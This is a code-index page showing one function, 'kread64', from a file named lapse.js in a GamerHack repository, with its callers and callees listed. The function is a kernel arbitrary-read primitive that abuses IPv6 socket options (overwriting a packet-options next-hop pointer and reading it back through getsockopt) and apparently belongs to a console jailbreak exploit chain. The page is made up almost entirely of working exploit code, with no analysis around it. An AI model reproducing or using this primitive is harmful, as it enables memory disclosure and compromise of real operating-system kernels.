MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / kread64

Function kread64

g2all/900/lapse.js:1232–1256  ·  view source on GitHub ↗
(addr)

Source from the content-addressed store, hash-verified

1230 const read_buf = new Buffer(8);
1231 const read_buf_p = read_buf.addr;
1232 function kread64(addr) {
1233 const len = 8;
1234 let offset = 0;
1235 while (offset < len) {
1236 // pktopts.ip6po_nhinfo = addr + offset
1237 pktinfo.write64(8, addr.add(offset));
1238 nhop[0] = len - offset;
1239
1240 ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
1241 sysi(
1242 'getsockopt',
1243 psd, IPPROTO_IPV6, IPV6_NEXTHOP,
1244 read_buf_p.add(offset), nhop_p,
1245 );
1246
1247 const n = nhop[0];
1248 if (n === 0) {
1249 read_buf[offset] = 0;
1250 offset += 1;
1251 } else {
1252 offset += n;
1253 }
1254 }
1255 return read_buf.read64(0);
1256 }
1257
1258 log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
1259 const kstr = jstr(read_buf);

Callers 1

make_kernel_arwFunction · 0.70

Calls 5

ssockoptFunction · 0.70
sysiFunction · 0.70
write64Method · 0.45
addMethod · 0.45
read64Method · 0.45

Tested by

no test coverage detected